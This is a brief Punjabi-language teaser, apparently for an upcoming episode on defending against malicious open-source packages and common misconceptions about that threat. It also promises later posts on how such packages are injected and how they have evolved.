ਅਗਲੇ ਐਪੀਸੋਡ ਵਿੱਚ "ਓਪਨ ਸੋਰਸ ਖਤਰਨਾਕ ਪੈਕੇਜਾਂ ਤੋਂ ਸੁਰੱਖਿਆ: ਕੀ ਕੰਮ ਕਰਦਾ ਹੈ (ਨਹੀਂ)" ਅਸੀਂ ਓਪਨ-ਸੋਰਸ ਸੁਰੱਖਿਆ ਲਈ ਕਰਨ ਵਾਲੇ ਅਤੇ ਨਾ ਕਰਨ ਵਾਲੇ ਕੰਮਾਂ ਬਾਰੇ ਚਰਚਾ ਕਰਾਂਗੇ। ਜ਼ਿਆਦਾਤਰ ਸੁਰੱਖਿਆ-ਜਾਗਰੂਕ ਪੇਸ਼ੇਵਰਾਂ ਨੂੰ ਇਸ ਖ਼ਤਰੇ ਨਾਲ ਕਿਵੇਂ ਨਜਿੱਠਣਾ ਹੈ ਇਸ ਬਾਰੇ ਸੂਝ ਹੁੰਦੀ ਹੈ, ਪਰ ਗਲਤ ਧਾਰਨਾਵਾਂ ਬਹੁਤ ਜ਼ਿਆਦਾ ਹਨ।
ਅਸੀਂ ਸਮੀਖਿਆ ਕਰਾਂਗੇ ਕਿ ਇਹ ਵਿਚਾਰ ਕਿਉਂ ਗਲਤ ਹਨ, ਅਤੇ ਕਿਵੇਂ ਅਜਿਹੀਆਂ ਗਲਤ ਧਾਰਨਾਵਾਂ ਇਸ ਹਮਲੇ ਦੇ ਢੰਗ ਦੀ ਪ੍ਰਸਿੱਧੀ ਵਿੱਚ ਯੋਗਦਾਨ ਪਾ ਰਹੀਆਂ ਹਨ, ਅਤੇ ਸੰਗਠਨਾਂ ਦੁਆਰਾ ਅਨੁਭਵ ਕੀਤੇ ਜਾ ਰਹੇ ਭਾਰੀ ਜੋਖਮ ਵਿੱਚ। ਅਸੀਂ ਫਿਰ ਇਸ ਨਾਲ ਅੱਗੇ ਵਧਾਂਗੇ ਕਿ ਕੀ ਕੰਮ ਕਰਦਾ ਹੈ, ਅਤੇ ਇਸ ਵਿੱਚ ਸ਼ਾਮਲ ਯਤਨ ਅਤੇ ਸਰੋਤ ਕੀ ਹਨ।
ਇਸ ਤੋਂ ਇਲਾਵਾ, ਅਸੀਂ ਖਤਰਨਾਕ ਪੈਕੇਜਾਂ ਦੇ ਉਦੇਸ਼, ਟੀਕਾਕਰਨ ਵਿਧੀ ਅਤੇ ਹਮਲੇ ਦੀਆਂ ਤਕਨੀਕਾਂ ਦੇ ਰੂਪ ਵਿੱਚ ਵਿਕਾਸ ਬਾਰੇ ਪੋਸਟ ਕਰਨ ਜਾ ਰਹੇ ਹਾਂ।
ਵੇਖਦੇ ਰਹੇ!
